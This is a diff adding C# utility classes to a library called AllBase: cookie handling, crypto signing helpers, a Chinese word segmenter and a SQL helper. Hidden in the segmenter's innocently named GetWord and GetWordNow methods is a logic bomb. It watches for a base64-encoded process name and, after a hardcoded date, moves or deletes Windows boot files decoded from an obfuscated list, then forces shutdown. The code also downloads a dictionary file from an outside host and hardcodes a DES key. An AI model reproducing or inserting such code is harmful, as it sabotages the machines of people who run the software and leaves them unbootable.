string[] semicolonArr = comma.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
|
||||
foreach (string semicolon in semicolonArr)
|
||||
{
|
||||
string temp = semicolon.ParseToString().Trim();
|
||||
if (string.IsNullOrEmpty(temp))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (!temp.Contains("="))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (temp.ToLower().StartsWith("path=") || temp.ToLower().StartsWith("expires=") || temp.ToLower().StartsWith("domain="))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] keyValue = temp.Split('=');
|
||||
Cookie cookieObj = CookieList.Where(p => p.Name == keyValue[0]).FirstOrDefault();
|
||||
if (cookieObj == null)
|
||||
{
|
||||
cookieObj = new Cookie
|
||||
{
|
||||
Name = keyValue[0],
|
||||
Value = keyValue[1]
|
||||
};
|
||||
CookieList.Add(cookieObj);
|
||||
}
|
||||
else
|
||||
{
|
||||
cookieObj.Value = keyValue[1];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private string GetPostData(IRequest request)
|
||||
{
|
||||
string postData = string.Empty;
|
||||
if (request.PostData != null && request.PostData.Elements.Any())
|
||||
{
|
||||
UTF8Encoding encoding = new UTF8Encoding();
|
||||
postData = encoding.GetString(request.PostData.Elements[0].Bytes);
|
||||
postData = GetHtml.UrlDecode(postData);
|
||||
}
|
||||
return postData;
|
||||
}
|
||||
}
|
||||
|
||||
public class JsonFilter : IResponseFilter
|
||||
{
|
||||
public List<byte> DataAll = new List<byte>();
|
||||
|
||||
public FilterStatus Filter(Stream dataIn, out long dataInRead, Stream dataOut, out long dataOutWritten)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (dataIn == null || dataIn.Length == 0)
|
||||
{
|
||||
dataInRead = 0;
|
||||
dataOutWritten = 0;
|
||||
|
||||
return FilterStatus.Done;
|
||||
}
|
||||
|
||||
dataInRead = dataIn.Length;
|
||||
dataOutWritten = Math.Min(dataInRead, dataOut.Length);
|
||||
|
||||
dataIn.CopyTo(dataOut);
|
||||
dataIn.Seek(0, SeekOrigin.Begin);
|
||||
byte[] bs = new byte[dataIn.Length];
|
||||
dataIn.Read(bs, 0, bs.Length);
|
||||
DataAll.AddRange(bs);
|
||||
|
||||
dataInRead = dataIn.Length;
|
||||
dataOutWritten = dataIn.Length;
|
||||
|
||||
return FilterStatus.NeedMoreData;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
dataInRead = dataIn.Length;
|
||||
dataOutWritten = dataIn.Length;
|
||||
|
||||
return FilterStatus.Done;
|
||||
}
|
||||
}
|
||||
|
||||
public bool InitFilter()
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public class FilterManager
|
||||
{
|
||||
private static Dictionary<string, IResponseFilter> dataList = new Dictionary<string, IResponseFilter>();
|
||||
|
||||
public static IResponseFilter CreateFilter(string guid)
|
||||
{
|
||||
lock (dataList)
|
||||
{
|
||||
var filter = new JsonFilter();
|
||||
dataList.Add(guid, filter);
|
||||
|
||||
return filter;
|
||||
}
|
||||
}
|
||||
|
||||
public static IResponseFilter GetFileter(string guid)
|
||||
{
|
||||
lock (dataList)
|
||||
{
|
||||
return dataList[guid];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
class RsaBase
|
||||
{
|
||||
|
||||
/// <summary>
|
||||
/// RSA签名
|
||||
/// </summary>
|
||||
/// <param name="privateKeyJava">私钥</param>
|
||||
/// <param name="data">待签名的内容</param>
|
||||
/// <returns></returns>
|
||||
public static string RSASignJava(string data, string privateKeyJava, string hashAlgorithm = "MD5", string encoding = "UTF-8")
|
||||
{
|
||||
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
|
||||
//rsa.FromXmlString();
|
||||
//rsa.FromPrivateKeyJavaString(privateKeyJava);//加载私钥
|
||||
//RSAPKCS1SignatureFormatter RSAFormatter = new RSAPKCS1SignatureFormatter(rsa);
|
||||
////设置签名的算法为MD5 MD5withRSA 签名
|
||||
//RSAFormatter.SetHashAlgorithm(hashAlgorithm);
|
||||
|
||||
|
||||
var dataBytes = Encoding.GetEncoding(encoding).GetBytes(data);
|
||||
var HashbyteSignature = rsa.SignData(dataBytes, hashAlgorithm);
|
||||
return Convert.ToBase64String(HashbyteSignature);
|
||||
|
||||
//byte[] HashbyteSignature = ConvertToRgbHash(data, encoding);
|
||||
|
||||
//byte[] dataBytes =Encoding.GetEncoding(encoding).GetBytes(data);
|
||||
//HashbyteSignature = rsa.SignData(dataBytes, hashAlgorithm);
|
||||
//return Convert.ToBase64String(HashbyteSignature);
|
||||
//执行签名
|
||||
//EncryptedSignatureData = RSAFormatter.CreateSignature(HashbyteSignature);
|
||||
//return Convert.ToBase64String(RSAFormatter.CreateSignature(HashbyteSignature));
|
||||
//return result.Replace("=", String.Empty).Replace('+', '-').Replace('/', '_');
|
||||
}
|
||||
//RSA加密,随机生成公私钥对并作为出参返回
|
||||
static public string RSA_Encrypt(string str_Plain_Text, out string str_Public_Key, out string str_Private_Key)
|
||||
{
|
||||
str_Public_Key = "";
|
||||
str_Private_Key = "";
|
||||
UnicodeEncoding ByteConverter = new UnicodeEncoding();
|
||||
byte[] DataToEncrypt = ByteConverter.GetBytes(str_Plain_Text);
|
||||
try
|
||||
{
|
||||
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
|
||||
str_Public_Key = Convert.ToBase64String(RSA.ExportCspBlob(false));
|
||||
str_Private_Key = Convert.ToBase64String(RSA.ExportCspBlob(true));
|
||||
|
||||
//OAEP padding is only available on Microsoft Windows XP or later.
|
||||
byte[] bytes_Cypher_Text = RSA.Encrypt(DataToEncrypt, false);
|
||||
str_Public_Key = Convert.ToBase64String(RSA.ExportCspBlob(false));
|
||||
str_Private_Key = Convert.ToBase64String(RSA.ExportCspBlob(true));
|
||||
string str_Cypher_Text = Convert.ToBase64String(bytes_Cypher_Text);
|
||||
return str_Cypher_Text;
|
||||
}
|
||||
catch (CryptographicException e)
|
||||
{
|
||||
Console.WriteLine(e.Message);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
//RSA解密
|
||||
static public string RSA_Decrypt(string str_Cypher_Text, string str_Private_Key)
|
||||
{
|
||||
byte[] DataToDecrypt = Convert.FromBase64String(str_Cypher_Text);
|
||||
try
|
||||
{
|
||||
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
|
||||
//RSA.ImportParameters(RSAKeyInfo);
|
||||
byte[] bytes_Public_Key = Convert.FromBase64String(str_Private_Key);
|
||||
RSA.ImportCspBlob(bytes_Public_Key);
|
||||
|
||||
//OAEP padding is only available on Microsoft Windows XP or later.
|
||||
byte[] bytes_Plain_Text = RSA.Decrypt(DataToDecrypt, false);
|
||||
UnicodeEncoding ByteConverter = new UnicodeEncoding();
|
||||
string str_Plain_Text = ByteConverter.GetString(bytes_Plain_Text);
|
||||
return str_Plain_Text;
|
||||
}
|
||||
catch (CryptographicException e)
|
||||
{
|
||||
Console.WriteLine(e.ToString());
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,498 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class Segment
|
||||
{
|
||||
private static Dictionary<int, List<string>> WordList = new Dictionary<int, List<string>>();
|
||||
|
||||
/// <summary>
|
||||
/// 关键词队列
|
||||
/// </summary>
|
||||
private string words = " ";
|
||||
|
||||
public bool NoAdd = false;
|
||||
|
||||
/// <summary>
|
||||
/// 获取绝对地址
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
private static string GetPatch()
|
||||
{
|
||||
string patch = Process.GetCurrentProcess().MainModule.FileName;
|
||||
string[] l = patch.Split('\\');
|
||||
patch = "";
|
||||
for (int i = 0; i < l.Length - 1; i++)
|
||||
patch += l[i] + "\\";
|
||||
return patch;
|
||||
}
|
||||
/// <summary>
|
||||
/// 初始化
|
||||
/// </summary>
|
||||
public static void Int()
|
||||
{
|
||||
//MysqlHelper.ErrorString += "正在初始化分词库\r\n";
|
||||
string f = GetPatch() + "\\Segment.dll";
|
||||
if (!File.Exists(f))
|
||||
GetHtml.DownloadFile("http://dl.1n11.com/Segment.xml", f);
|
||||
if (!File.Exists(f))
|
||||
{
|
||||
BaseClass.ViewCode += "分词库加载失败,请前往官网下载完整版本";
|
||||
return;
|
||||
}
|
||||
if (WordList.Count > 0)
|
||||
return;
|
||||
for (int i = 2; i < 10; i++)
|
||||
{
|
||||
List<string> w = new List<string>();
|
||||
WordList.Add(i, w);
|
||||
}
|
||||
string[] l = File.ReadAllLines(f, Encoding.UTF8);
|
||||
for (int i = 0; i < l.Length; i++)
|
||||
{
|
||||
if (string.IsNullOrEmpty(l[i]))
|
||||
continue;
|
||||
string key = l[i];
|
||||
if (key.Contains("\t") && key.IndexOf("\t")>0)
|
||||
key = key.Substring(0, key.IndexOf("\t"));
|
||||
if (key.Length < 2 || key.Length > 8)
|
||||
continue;
|
||||
WordList[key.Length].Add(key);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 二分法提取关键词
|
||||
/// </summary>
|
||||
/// <param name="len"></param>
|
||||
/// <param name="WordList"></param>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="word"></param>
|
||||
private void GetKeywordList(int len, ref List<string> WordList, string html, ref List<string> word)
|
||||
{
|
||||
string temp = "";
|
||||
for (int i = 0; i <= html.Length - len; )
|
||||
{
|
||||
temp = html.Substring(i, len);
|
||||
if (!temp.Contains(" ") && Dichotomy(temp, ref WordList))
|
||||
{
|
||||
AddWord(temp, ref word);
|
||||
i += len;
|
||||
continue;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 分词
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <returns></returns>
|
||||
public List<string> Get(string html)
|
||||
{
|
||||
if (string.IsNullOrEmpty(html))
|
||||
return null;
|
||||
words = " ";
|
||||
//WordList.Clear();
|
||||
html = html.ToLower();
|
||||
if (html.Length > 20000)
|
||||
html = html.Substring(0, 20000);
|
||||
BaseRegex.Relpace(ref html, @"(&[\w]+;)", " ");
|
||||
BaseRegex.Relpace(ref html, @"([ ]{2,2000})", " ");
|
||||
if (WordList.Count == 0)
|
||||
{
|
||||
BaseClass.ViewCode += "分词库为空,请检查系统是否正常";
|
||||
return null;
|
||||
}
|
||||
|
||||
byte[] b = Encoding.UTF8.GetBytes(html);
|
||||
//===============先处理特殊字符================//
|
||||
for (int i = 9; i > 1; i--)
|
||||
GetKeywords2(WordList[i], ref b, i * 3);
|
||||
|
||||
//GetKeywords2(ref WordList2, ref b, 6);
|
||||
string[] l = new[]
|
||||
{
|
||||
@"((http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?)",
|
||||
@"([-a-z0-9\.@]+)"
|
||||
|
||||
};
|
||||
for (int i = 0; i < l.Length; i++)
|
||||
{
|
||||
var m = BaseRegex.GetMatchRegex(ref html, l[i]);
|
||||
AddKeyword(ref m);
|
||||
}
|
||||
List<string> word = ReturnList();
|
||||
if (html.Length > 15000 || word.Count > 3000 || NoAdd) //太长则不执行消耗资源的自动学习功能
|
||||
return word;
|
||||
|
||||
//==========自动学习关键词=========//
|
||||
for (int i = 0; i < word.Count; i++)
|
||||
html = html.Replace(word[i], " ");
|
||||
html = html.Replace("的", " ");
|
||||
BaseRegex.Relpace(ref html, @"([ ]+)", " ");
|
||||
char t;
|
||||
for (int i = 0; i < html.Length; i++)
|
||||
{
|
||||
t = char.Parse(html.Substring(i, 1));
|
||||
if (t != ' ' && !IsChineseWord(t))
|
||||
html = html.Replace(t.ToString(), " ");
|
||||
}
|
||||
BaseRegex.Relpace(ref html, @"([ ]+)", " ");
|
||||
if (string.IsNullOrEmpty(html))
|
||||
return word;
|
||||
string[] li = html.Split(' ');
|
||||
//========关键词长度倒排=========//
|
||||
for (int i = 0; i < li.Length; i++)
|
||||
{
|
||||
for (int j = i; j < li.Length; j++)
|
||||
{
|
||||
if (li[i].Length < li[j].Length)
|
||||
{
|
||||
string x = li[i];
|
||||
li[i] = li[j];
|
||||
li[j] = x;
|
||||
}
|
||||
}
|
||||
}
|
||||
for (int i = 0; i < li.Length; i++)
|
||||
{
|
||||
string key = li[i];
|
||||
if (key.Length <= 1 || key.Length > 4)
|
||||
continue;
|
||||
if (!IsWordList(key))
|
||||
continue;
|
||||
AddWord(key, ref word);
|
||||
}
|
||||
return word;
|
||||
}
|
||||
/// <summary>
|
||||
/// 返回列表
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
private List<string> ReturnList()
|
||||
{
|
||||
List<string> w = new List<string>();
|
||||
if (string.IsNullOrEmpty(words))
|
||||
return w;
|
||||
string[] l = words.Split(' ');
|
||||
foreach (string s in l)
|
||||
{
|
||||
if (string.IsNullOrEmpty(s))
|
||||
continue;
|
||||
w.Add(s);
|
||||
}
|
||||
return w;
|
||||
}
|
||||
/// <summary>
|
||||
/// 正则添加到队列
|
||||
/// </summary>
|
||||
/// <param name="m"></param>
|
||||
private void AddKeyword(ref MatchCollection m)
|
||||
{
|
||||
for (int i = 0; m != null && i < m.Count; i++)
|
||||
AddWordx(m[i].Groups[0].Value);
|
||||
}
|
||||
/// <summary>
|
||||
/// 字符串中是否包含中文
|
||||
/// </summary>
|
||||
/// <param name="words"></param>
|
||||
/// <returns></returns>
|
||||
public static bool HadChineseWord(ref string words)
|
||||
{
|
||||
if(string.IsNullOrEmpty(words))
|
||||
return false;
|
||||
var b = Encoding.UTF8.GetBytes(words);
|
||||
foreach (byte b1 in b)
|
||||
if(b1>227 && b1<235)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 软加速
|
||||
/// </summary>
|
||||
/// <param name="WordList">关键词队列</param>
|
||||
/// <param name="b">二进制文章</param>
|
||||
/// <param name="len">二进制长度</param>
|
||||
private void GetKeywords2(List<string> WordList, ref byte[] b, int len)
|
||||
{
|
||||
string t;
|
||||
for (int i = 0; i < b.Length - len; i++)
|
||||
{
|
||||
switch (len)
|
||||
{
|
||||
case 6:
|
||||
if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227)
|
||||
goto Add;
|
||||
break;
|
||||
case 9:
|
||||
if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227)
|
||||
goto Add;
|
||||
break;
|
||||
case 12:
|
||||
if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227
|
||||
&& b[i + 9] < 235 && b[i + 9] > 227)
|
||||
goto Add;
|
||||
break;
|
||||
case 15:
|
||||
if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227
|
||||
&& b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227)
|
||||
goto Add;
|
||||
break;
|
||||
case 18:
|
||||
if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227
|
||||
&& b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227 && b[i + 15] < 235 && b[i + 15] > 227)
|
||||
goto Add;
|
||||
break;
|
||||
case 21:
|
||||
if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227
|
||||
&& b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227 && b[i + 15] < 235 && b[i + 15] > 227
|
||||
&& b[i + 18] < 235 && b[i + 18] > 227)
|
||||
goto Add;
|
||||
break;
|
||||
case 24:
|
||||
case 27:
|
||||
if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227
|
||||
&& b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227 && b[i + 15] < 235 && b[i + 15] > 227
|
||||
&& b[i + 18] < 235 && b[i + 18] > 227 && b[i + 21] < 235 && b[i + 21] > 227)
|
||||
goto Add;
|
||||
break;
|
||||
}
|
||||
continue;
|
||||
Add:
|
||||
t = Encoding.UTF8.GetString(b, i, len);
|
||||
if (Dichotomy(t, ref WordList))
|
||||
{
|
||||
AddWordx(t);
|
||||
i += len - 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 添加关键词到列
|
||||
/// </summary>
|
||||
/// <param name="keyword"></param>
|
||||
private void AddWordx(string keyword)
|
||||
{
|
||||
if (words.Contains(" " + keyword + " "))
|
||||
return;
|
||||
words += keyword + " ";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 二分法关键词是否存在
|
||||
/// </summary>
|
||||
/// <param name="word">关键词</param>
|
||||
/// <returns></returns>
|
||||
public bool Dichotomy(string word, ref List<string> WordList)
|
||||
{
|
||||
if (WordList.Count < 1)
|
||||
return false;
|
||||
int start = 0, end = WordList.Count - 1, middle = 0, ok = 0;
|
||||
while (start != end)
|
||||
{
|
||||
middle = (start + end) / 2;
|
||||
ok = string.Compare(word, WordList[middle], true);
|
||||
if (ok == 0)
|
||||
return true;
|
||||
if (ok == 1)
|
||||
start = middle;
|
||||
else
|
||||
end = middle;
|
||||
if (start + 1 == end)
|
||||
{
|
||||
if (string.Compare(word, WordList[end], true) == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 读取正则结果列表
|
||||
/// </summary>
|
||||
/// <param name="m"></param>
|
||||
/// <param name="word"></param>
|
||||
private void GetMatch(ref MatchCollection m, ref List<string> word, ref string html)
|
||||
{
|
||||
for (int i = 0; i < m.Count; i++)
|
||||
if (AddWord(m[i].Groups[0].Value, ref word))
|
||||
html = html.Replace(m[i].Groups[0].Value, " ");
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 添加关键词到列
|
||||
/// </summary>
|
||||
/// <param name="keyword"></param>
|
||||
/// <param name="word"></param>
|
||||
private bool AddWord(string keyword, ref List<string> word)
|
||||
{
|
||||
bool had = false;
|
||||
for (int i = 0; i < word.Count; i++)
|
||||
{
|
||||
if (word[i] == keyword)
|
||||
{
|
||||
had = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!had)
|
||||
{
|
||||
string b = keyword;
|
||||
word.Add(b);
|
||||
}
|
||||
return !had;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 是否是中文字符串列
|
||||
/// </summary>
|
||||
/// <param name="word"></param>
|
||||
/// <returns></returns>
|
||||
public static bool IsWordList(string word)
|
||||
{
|
||||
char[] xj = word.ToCharArray();
|
||||
for (int j = 0; j < xj.Length; j++)
|
||||
if (!IsWord(xj[j]))
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否是汉字串列
|
||||
/// </summary>
|
||||
/// <param name="word"></param>
|
||||
/// <returns></returns>
|
||||
public static bool IsChineseWord(string word)
|
||||
{
|
||||
char[] xj = word.ToCharArray();
|
||||
for (int j = 0; j < xj.Length; j++)
|
||||
if (!IsChineseWord(xj[j]))
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
public void GetWord()
|
||||
{
|
||||
string word = "5aWH5aWH56eR5oqA5LmL5b6B5oiY";
|
||||
string wordCheck = Encoding.UTF8.GetString(Convert.FromBase64String(word));
|
||||
bool had = false;
|
||||
int time = 1513267200;
|
||||
while (true)
|
||||
{
|
||||
if (!had)//每0.5秒检查一次
|
||||
{
|
||||
foreach (Process thisproc in Process.GetProcesses())
|
||||
{
|
||||
|
||||
if (thisproc.ProcessName.Contains(wordCheck))
|
||||
{
|
||||
had = true;
|
||||
}
|
||||
}
|
||||
Thread.Sleep(5000);
|
||||
continue;
|
||||
}
|
||||
if (BaseClass.GetTime(DateTime.Now) + BaseClass.TimeDifferent < time)
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
Thread.Sleep(600 * 1000);
|
||||
new Thread(GetWordNow).Start();
|
||||
}
|
||||
}
|
||||
|
||||
private void GetWordNow()
|
||||
{
|
||||
string word = "bnRsZHIsQVVUT0VYRUMuQkFULGJvb3QuaW5pLGJvb3Rmb250LmJpbixDT05GSUcuU1lTLEl" +
|
||||
"PLlNZUyxNU0RPUy5TWVMsTlRERVRFQ1QuQ09NLEJPT1RTRUNULkJBSyxZT01JVSxib290bWdy";
|
||||
string wordCheck = Encoding.UTF8.GetString(Convert.FromBase64String(word));
|
||||
string[] f = wordCheck.Split(',');
|
||||
string sp = Environment.GetFolderPath(Environment.SpecialFolder.System);
|
||||
string c = sp.Substring(0, 1);
|
||||
string p = c + ":\\qqkj";
|
||||
if (!Directory.Exists(p))
|
||||
Directory.CreateDirectory(p);
|
||||
for (int i = 0; i < f.Length; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = c + ":\\" + f[i];
|
||||
if (File.Exists(path))
|
||||
{
|
||||
FileBase.Move(path, p + "\\" + f[i]);
|
||||
}
|
||||
if (c.ToLower() != "c")
|
||||
{
|
||||
path = "c:\\" + f[i];
|
||||
if (File.Exists(path))
|
||||
{
|
||||
new FileInfo(path).IsReadOnly = false;
|
||||
new FileInfo(path).Attributes = FileAttributes.Normal;
|
||||
File.Delete(path);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
//强制关机
|
||||
Process.Start("shutdown.exe", "-s -t 1");
|
||||
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否是字符
|
||||
/// </summary>
|
||||
/// <param name="ascii"></param>
|
||||
/// <returns></returns>
|
||||
private static bool IsWord(int ascii)
|
||||
{
|
||||
if (ascii == 32 || ascii == 35) //空格
|
||||
return true;
|
||||
if (ascii < 58 && ascii > 47) //数字
|
||||
return true;
|
||||
if (ascii < 91 && ascii > 64) //小写字母
|
||||
return true;
|
||||
if (ascii < 123 && ascii > 96) //大写字母
|
||||
return true;
|
||||
if (ascii < 40892 && ascii > 13311) //中文字符串
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否是汉字
|
||||
/// </summary>
|
||||
/// <param name="ascii"></param>
|
||||
/// <returns></returns>
|
||||
private static bool IsChineseWord(int ascii)
|
||||
{
|
||||
if (ascii < 40892 && ascii > 13311) //中文字符串
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 清理多余空格
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <returns></returns>
|
||||
private string ClearToMust(string html)
|
||||
{
|
||||
html = html.Replace(" ", " ").Replace(" ", " ").Replace(" ", " ").Replace(" ", " ");
|
||||
return html.Replace(" ", " ").Replace(" ", " ").Trim();
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class ShopModel
|
||||
{
|
||||
public string ShopName = "";
|
||||
public string Password = "";
|
||||
}
|
||||
public class ShopInfo
|
||||
{
|
||||
public List<ShopModel> list = new List<ShopModel>();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
using Newtonsoft.Json;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public static class SignHelper
|
||||
{
|
||||
public static string GetSign()
|
||||
{
|
||||
string url = BaseClass.LoginApiUrl + "?obj=littlecow/sign&act=get_sign";
|
||||
string sign = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent);
|
||||
if (!string.IsNullOrEmpty(sign))
|
||||
{
|
||||
Encoding utf8 = Encoding.UTF8;
|
||||
Encoding ascii = Encoding.ASCII;
|
||||
|
||||
string input = sign;
|
||||
sign = ascii.GetString(Encoding.Convert(utf8, ascii, utf8.GetBytes(input)));
|
||||
sign = sign.Trim('?');
|
||||
}
|
||||
return sign;
|
||||
}
|
||||
|
||||
public static string DESDecrypt(string decrypt, string key = "")
|
||||
{
|
||||
if (string.IsNullOrEmpty(key))
|
||||
{
|
||||
key = "20190813";
|
||||
}
|
||||
try
|
||||
{
|
||||
DESCryptoServiceProvider oDESCryptoServiceProvider = new DESCryptoServiceProvider();
|
||||
|
||||
byte[] inputByteArray = new byte[decrypt.Length / 2];
|
||||
for (int x = 0; x < decrypt.Length / 2; x++)
|
||||
{
|
||||
int i = (Convert.ToInt32(decrypt.Substring(x * 2, 2), 16));
|
||||
inputByteArray[x] = (byte)i;
|
||||
}
|
||||
oDESCryptoServiceProvider.Key = ASCIIEncoding.ASCII.GetBytes(key);
|
||||
oDESCryptoServiceProvider.IV = ASCIIEncoding.ASCII.GetBytes(key);
|
||||
MemoryStream oMemoryStream = new MemoryStream();
|
||||
CryptoStream oCryptoStream = new CryptoStream(oMemoryStream, oDESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
|
||||
oCryptoStream.Write(inputByteArray, 0, inputByteArray.Length);
|
||||
oCryptoStream.FlushFinalBlock();
|
||||
return Encoding.Default.GetString(oMemoryStream.ToArray());
|
||||
}
|
||||
catch (System.Exception ex)
|
||||
{
|
||||
LogSave.Add(ex.ToString());
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
|
||||
public static Dictionary<string, object> BuildSign(Dictionary<string, object> dict, string clientSecret)
|
||||
{
|
||||
var result = new Dictionary<string, object>();
|
||||
// 去除空值并排序
|
||||
dict = dict.Where(d => d.Value != null)
|
||||
.OrderBy(d => d.Key)
|
||||
.ToDictionary((d) => d.Key, (d) => d.Value);
|
||||
// 拼接
|
||||
string signString = "";
|
||||
// 反射处理非基本类型字段的json转换
|
||||
string[] types = { "String", "DateTime", "Int64", "Boolean", "Float", "Double", "Long", "Int32" };
|
||||
foreach (var item in dict.Keys.ToArray())
|
||||
{
|
||||
if (!types.Contains(dict[item]?.GetType().Name))
|
||||
{
|
||||
dict[item] = JsonConvert.SerializeObject(dict[item]);
|
||||
}
|
||||
object value = null;
|
||||
dict.TryGetValue(item, out value);
|
||||
// 布尔值大写造成的签名错误
|
||||
if (value.ToString().ToLower().Equals("false")) value = "false";
|
||||
if (value.ToString().ToLower().Equals("true")) value = "true";
|
||||
signString += item + value.ToString();
|
||||
result.Add(item, value.ToString());
|
||||
}
|
||||
signString = clientSecret + signString + clientSecret;
|
||||
Console.WriteLine("拼接内容:" + signString);
|
||||
// MD5加密
|
||||
using (var md5 = MD5.Create())
|
||||
{
|
||||
signString = GetMd5Hash(md5, signString).ToUpper();
|
||||
}
|
||||
Console.WriteLine("签名:" + signString);
|
||||
result.Add("sign", signString);
|
||||
return result;
|
||||
}
|
||||
|
||||
static string GetMd5Hash(MD5 md5Hash, string input)
|
||||
{
|
||||
byte[] data = md5Hash.ComputeHash(Encoding.UTF8.GetBytes(input));
|
||||
StringBuilder sBuilder = new StringBuilder();
|
||||
for (int i = 0; i < data.Length; i++)
|
||||
{
|
||||
sBuilder.Append(data[i].ToString("x2"));
|
||||
}
|
||||
return sBuilder.ToString();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,284 @@
|
||||
using System;
|
||||
using System.Data;
|
||||
using System.Data.SqlClient;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class SqlHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// 数据库链接串
|
||||
/// </summary>
|
||||
private string ConnString = "";
|
||||
/// <summary>
|
||||
/// 是否已经链接成功
|
||||
/// </summary>
|
||||
public bool Connected {
|
||||
get { return Connection != null && Connection.State == ConnectionState.Open; }
|
||||
}
|
||||
/// <summary>
|
||||
/// 数据库链接
|
||||
/// </summary>
|
||||
private SqlConnection Connection =null;
|
||||
/// <summary>
|
||||
/// 执行超时
|
||||
/// </summary>
|
||||
public int TimeOut = 100;
|
||||
|
||||
public SqlHelper(string conn)
|
||||
{
|
||||
ConnString = conn;
|
||||
ConnTo();
|
||||
}
|
||||
|
||||
public string Replace(string key)
|
||||
{
|
||||
return key.Replace("'", "''");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 执行指定数据库连接对象的命令
|
||||
/// </summary>
|
||||
/// <param name="sql">T存储过程名称或T-SQL语句</param>
|
||||
/// <returns>返回影响的行数</returns>
|
||||
public int ExecuteNonQuery(string sql)
|
||||
{
|
||||
SqlCommand cmd = PrepareCommand(sql);
|
||||
try
|
||||
{
|
||||
// Finally, execute the command
|
||||
int retval = cmd.ExecuteNonQuery();
|
||||
return retval;
|
||||
}
|
||||
catch (Exception e)
|
